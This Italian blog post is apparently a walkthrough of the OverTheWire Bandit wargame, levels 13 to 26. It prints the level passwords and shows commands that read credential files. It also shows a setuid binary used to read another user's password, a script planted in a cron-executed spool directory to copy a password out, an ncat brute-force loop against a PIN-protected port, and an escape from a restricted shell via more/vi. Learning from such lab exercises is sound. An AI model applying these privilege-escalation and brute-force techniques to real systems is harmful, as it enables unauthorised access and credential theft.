Questo articolo è il seguito del precedente, che ho deciso di dividere per evitare di creare due pagine e far un post troppo lungo. Nei primi livelli si sono usati diversi comandi, tra i quali find, cat, sort, tr e molti altri. Nei prossimi il livello di difficoltà aumenterà gradualmente, ma cercherò di spiegare ogni passaggio il più approfonditamente possibile, in modo da esser chiaro per tutti.
La password del livello 13 era
8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL
Mi connetto ora all’account bandit13 del server
bandit.labs.overthewire.org
tramite ssh.
Dopo essermi connesso, vedo che è presente solo un file, il quale contiene un chiave privata.
Per il prossimo livello, non serve una password, ma basta utilizzare questa chiave per connettersi all’utente bandit14.
Basta digitare all’interno del server una semplice opzione in più rispetto al solito comando di ssh, ossia:
ssh -i sshkey.private bandit14@localhost
L’opzione -i ci permette di selezionare un file (nel nostro caso sshkey.private che permette di connettersi all’utente bandit14.
Ora che siamo connessi, visualizziamo la password salvata nel file _ /etc/bandit_pass/bandit14 _(come scritto sul sito).
cat /etc/bandit_pass/bandit14
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
Il suggerimento ora mostrato ci avvisa che la password può essere trovata inviando quella trovata precedentemente alla porta 30000 di localhost. Per poter effettuare questa operazione si può utilizzare Telnet. Esso è solitamente utilizzato per compiere sessioni di login da remoto tra diversi host connessi alla rete, che possono essere server o altri dispositivi di cui conosciamo le credenziali. Per chi non lo conoscesse, alcuni comandi base possono essere trovati a questo indirizzo.
Per trovare la password basta un attimo. Digitiamo il comando per effettuare la connessione richiesta e inseriamo le credenziali di accesso
bandit14@melinda:~$ telnet localhost 30000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e <span style="text-decoration: underline;">/*digito la password*/</span>
Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr
Connection closed by foreign host.
Come il livello precedente, per trovare la password basta connettersi a localhost sulla porta 30001, ma stavolta utilizzando una connessione cifrata SSL. Invece che utilizzare telnet, utilizzeremo OpenSSL. Come prima, per chi non avesse conoscenze a riguardo, consiglio di dare una lettura a questo sito.
N.B. Se digitate il comando correttamente ma ricevete errore “HEARTBEATING” e “Read R BLOCK” utilizzate l’opzione -ign_eof
Digito il comando di connessione con OpenSSL
bandit15@melissa:~$ openssl s_client -connect localhost:30001
CONNECTED(00000003)
depth=0 /CN=melissa.labs.overthewire.org
verify error:num=18:self signed certificate
verify return:1
depth=0 /CN=melissa.labs.overthewire.org
verify return:1
---
Certificate chain
[...INFORMAZIONI SUL CERTIFICATO..]
Compression: 1 (zlib compression)
Start Time: 1363810708
Timeout : 300 (sec)
Verify return code: 18 (self signed certificate)
---
BfMYroe26WYalil77FoDi9qh59eK5xNr <span style="text-decoration: underline;">/*digito la password*/</span>
Correct!
cluFn7wTiGryunymYOu4RcffSxQluehd
L’operazione da compiere ora è sempre la stessa, ma non ci viene detta la porta da utilizzare, solo il range compreso tra 31000 e 32000. Per chi avesse letto l’articolo su Nmap saprà sicuramente come fare a trovare quale tra le tante è aperta, altrimenti vi consiglio di leggerlo!
Per prima cosa effettuo una scansione delle porte per vedere quali sono aperte e i servizi attivi su di essi:
<img src="https://hacktips.it/wp-content/uploads/2016/07/lvl17.1.png" alt="lvl17.1" height="243" class="size-full wp-image-872 aligncenter" width="656"></img>
Noto che due hanno attivo un servizio Microsoft, quindi testo provo manualmente i due (di cui solo uno conterrà la password che ci serve). Mi connetto utilizzando la stessa istruzione di prima
openssl s_client -connect localhost:31790
Ed inserisco la password Non ha stampato una password, ma una chiave privata RSA! Come nel livello 14, mi servirà per accedere al livello successivo.
Creo ora una cartella temporanea per salvare la chiave privata e per poterla utilizzare
mkdir /tmp/lvl17hk
cd /tmp/lvl17hk
Ora creo il file che conterrà la chiave privata
touch sshkey.private
vi sshkey.private
e lo incollo in vi. Per salvare basta premere “CTRL+o” e digitare “:wqa”. In questo modo salva e chiude il file (nel file incollate anche il commento all’inizio e alla fine della chiave privata, quello che inizia con —–BEGIN RSA PRIVATE KEY—–). Cambio i permessi al file, altrimenti il server darà errore
chmod 600 sshkey.private
Ed infine mi connetto al livello successivo con il solito comando
ssh -i sshkey.private bandit17@localhost
Questo livello è uno dei più semplici in tutto il gioco. Digitanto ls noto che sono presenti due file, _passwords.old _e passwords.new. Una delle stringhe che si differenziano tra i due file è la password che ci permette di connetterci al prossimo livello.
Esiste un comando che permette di effettuare l’operazione di differenza, ed è
diff passwords.new passwords.old
42c42
< kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd --- > BS8bqB1kqkinKJjuxL6k072Qq9NRwQpR
Le stringhe trovate sono solo tre, per cui le provo una ad una fino a quando scopro che è kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd. Il server ci risponderà con “ByeBye!” e si disconnetterà automaticamente ma questo è un problema da risolvere nel livello successivo.
La password è salvata nel file readme, ma è stato modificato il file **.bashrc **e non ci permette di fare il login.
È comunque possibile effettuare il comando cat insieme al log in, in modo che prima di effettuare il logout, stampi la password.
In questo livello la password è salvata nella posizione classica /etc/bandit_pass ma bisogna utilizzare il setuid presente nella home per ricevere i permessi. Per prima cosa proviamo ad eseguirlo senza nessun argomento
bandit19@melinda:~$ ./bandit20-do
Run a command as another user.
Example: ./bandit20-do id
Provo quindi ad eseguirlo come da suggerimento
./bandit20-do id
uid=11019(bandit19) gid=11019(bandit19) euid=11020(bandit20) groups=11020(bandit20),11019(bandit19)
Verifico a quale gruppo appartengo con i permessi del setuid
./bandit20-do whoami
bandit20
Con queste informazioni posso ora accedere al file con la password e visualizzarla
./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Come prima, c’è un setuid nella cartella home. Utilizzando quel file dobbiamo creare una connessione su localhost con una porta specificata da noi. Dopo averla creata, inviamo la password al server e, se viene letta e riconosciuta, ci rimanderà indietro quella del prossimo livello. Cercherò di spiegarmi meglio con qualche indizio:
La password è quindi gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr.
Un programma è in esecuzione automatica a intervalli regolari da cron , ossia il job scheduler time-based . Bisogna cercare in /etc/cron.d/ e vedere che cosa fa il comando quando è in esecuzione.
Ci spostiamo per prima cosa nella cartella segnalata e visualizziamo i file all’interno
cd /etc/cron
ls
Troviamo un file _cronjob_bandit22 _ che vediamo con il comando cat
cat cronjob_bandit22
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
Come appena fatto, guardiamo cosa contiene lo script che è in esecuzione
cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
La password sembra essere nel file temporaneo a destra e per visualizzarla basta utilizzare ancora cat
cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
Questo livello è praticamente uguale a quello di prima, cambia solamente lo script e ciò che dobbiamo digitare in quel punto. La cosa importante, ed è una regola generale, è di leggerlo attentamente, capire cosa fa e cosa sta facendo (ricordo che è in esecuzione, quindi non bisogna eseguirlo) e quali parametri richiede.
Eseguo gli stessi passaggi precedenti, fino a leggere lo script
bandit22@melinda:cd /etc/cron.d
bandit22@melinda:/etc/cron.d$ ls
behemoth4_cleanup cronjob_bandit23 leviathan5_cleanup natas-session-toucher natas25_cleanup~ php5 semtex0-ppc vortex0
cron-apt cronjob_bandit24 manpage3_resetpw_job natas-stats natas26_cleanup semtex0-32 semtex5 vortex20
cronjob_bandit22 cronjob_bandit24_root melinda-stats natas25_cleanup natas27_cleanup semtex0-64 sysstat
bandit22@melinda:/etc/cron.d$ cat cronjob_bandit23
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
bandit22@melinda:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
Quindi nel file $mytarget sarà presente la password, e per sapere la posizione basta effettuare l’istruzione echo presente nella seconda riga.
_myname _varrà bandit23, ossia il nome utente che possiede la password, per il resto basta copiare l’istruzione della variabile target
bandit22@melinda:/etc/cron.d$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
Ed ecco che viene stampato il nome del file /tmp/$mytarget.
Effettuo ora un cat su quel file
bandit22@melinda:/etc/cron.d$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
E ora abbiamo la password per accedere al prossimo livello.
La difficoltà ora aumenta di poco, ed avremo la possibilità di creare uno script per poter ricevere la password, altrimenti nascosta. Come prima, bisogna andare nella cartella /etc/cron.d e leggere il solito file. Dalla lettura dello script e delle istruzioni in esso cercheremo di capire come creare il nostro programma e che tipo di operazioni dovremo effettuare.
Entro nella cartella e apro lo script
bandit23@melinda:~$ cd /etc/cron.d
bandit23@melinda:/etc/cron.d$ ls
behemoth4_cleanup cronjob_bandit23 leviathan5_cleanup natas-session-toucher natas25_cleanup~ php5 semtex0-ppc vortex0
cron-apt cronjob_bandit24 manpage3_resetpw_job natas-stats natas26_cleanup semtex0-32 semtex5 vortex20
cronjob_bandit22 cronjob_bandit24_root melinda-stats natas25_cleanup natas27_cleanup semtex0-64 sysstat
bandit23@melinda:/etc/cron.d$ cat cronjob_bandit24
* * * * * bandit23 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@melinda:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
timeout -s 9 60 "./$i"
rm -f "./$i"
fi
done
Questo piccolo programa esegue quindi tutti gli script in /var/spool/$myname e lo rimuove dopo l’esecuzione. Lo script che dobbiamo creare deve solamente spostare la password dalla solita posizione /etc/bandit_pass/bandit24 ad una cartella temporanea che possiamo leggere. Creo ora una cartella in cui posso scrivere lo script
mkdir /tmp/hacktips
cd /tmp/hacktips
Con VI creo ora lo script
vi pass.sh
#!/bin/sh
Pass=$(cat /etc/bandit_pass/bandit24) /*salvo in Pass il contenuto di bandit24
echo $Pass >> /tmp/hacktips/password.txt /*copio Pass in un file presente nella mia cartella
Ricordo che per scrivere bisogna premete i, mentre per salvare e chiudere VI “CTRL+o” e digitare “:wqa” Do i permessi allo script, in modo che possa essere eseguito all’interno della cartella spool
chmod 777 pass.sh
La copio nella cartella in cui vengono eseguiti i programmi
cp /tmp/hacktips/pass.sh /var/spool/bandit24/
E do i permessi anche alla cartella temporanea
chmod -R 777 /tmp/hacktips
Attendo ora un paio di minuti, poichè ogni minuto dovrebbe eseguire gli script presenti in spool.
bandit23@melinda:/tmp/hacktips$ ls
pass.sh
#dopo un paio di minuti
bandit23@melinda:/tmp/hacktips$ ls
pass.sh password.txt
bandit23@melinda:/tmp/hacktips$ cat password.txt
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
Un programma sta ascoltando sulla porta 30002 e ci darà la password solo se gli invieremo la password dello scorso livello insieme a un codice segreto di 4 cifre. Non c’è modo di scoprirlo se non tentando tutte la combinazioni, quindi tramite bruteforce (forza bruta, ossia tentare tutte le combinazioni possibili). Per poterlo effettuare è necessario creare uno script che effettui al posto nostro tutte le combinazioni (o potete farlo a mano, anche se non ve lo consiglio..)
Sempre nella cartella temporanea creata precedentemente, creo la script che effettuerà l’operazione
bandit24@melinda:/tmp/hacktips$ vi bandit25.sh
#!/bin/bash
for i in {0000..9999}
do
echo "$i *************"
echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | ncat 127.0.0.1 30002
done
bandit24@melinda:/tmp/hacktips$ chmod 777 bandit25.sh
bandit24@melinda:/tmp/hacktips$ ./bandit25.sh
Ci metterà un pò di tempo, dopo circa un’ora lo stoppo (sono arrivato alla combinazione 7000) e cerco se ha stampato la password
La password è quindi uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG.
Questo livello penso sia uno dei più creativi che abbia mai visto. L’unico suggerimento che ci viene dato è che “La shell per l’utente bandit26 non è /bin/bash, ma qualcos’altro. Scopri di cosa si tratta, come funziona e come uscire da esso.”
Consiglio di provare a visualizzare il file delle password presente in /etc/passwd
Dentro la home notiamo subito un file bandit26.ssh che contiene una chiave privata RSA. Provo a connettermi quindi al livello successivo utilizzandola, ma la connessione viene chiusa immediatamente.
Provo quindi ad aprire il file delle password con questo comando
cat /etc/passwd
Vedo che fa riferimento ad un altro file, per cui lo apro
bandit25@melinda:~$ cat /usr/bin/showtext
#!/bin/sh
more ~/text.txt
exit 0
Sembra che quindi la password sia all’interno del file text.txt, ma provando ad aprirlo la richiesta viene negata
bandit25@melinda:~$ cat /home/bandit26/text.txt
cat: /home/bandit26/text.txt: Permission denied
Dal file showtext sembra che piuttosto che il comando cat debba essere usato more. Prendo quindi il terminale, lo riduco in modo tale che quando stampa la connessione al livello 26 non stampi tutto ma abbia bisogno di utilizzare appunto, more. Digito quindi
ssh -i bandit26.sshkey bandit26@localhost
Ma scorrendo fino in fondo risulta ancora connessione rifiutata. Durante l’utilizzo di More, se digitiamo “V” il sistema automaticamente apre il software vi che permette di modificare il file che stiamo visualizzando.
E sono dentro al file text.txt! Da questo file di testo, cerco ora di aprire il file contenente la password. Premo CTRL+o e digito
:e /etc/bandit_pass/bandit26
Ed ecco che appare la password
Il livello 27 purtroppo ancora non esiste. Se mai uscirà, scrivere un articolo per gli aggiornamenti!
Il gioco è concluso, e dopo 26 livelli spero che anche chi è alle prime armi sia riuscito in gran parte a finire i livelli in modo autonomo. In teoria, dopo questo gioco è consigliato (sempre sul sito overthewire) di continuare con Natas, Leviathan oppure Krypton. Non so se continuerò con questi livelli (ancora non ho deciso), preferirei introdurre altri siti e altri giochi sempre più diversificati e con diversi livelli di difficoltà. Se avete qualche dubbio non esitate a commentare!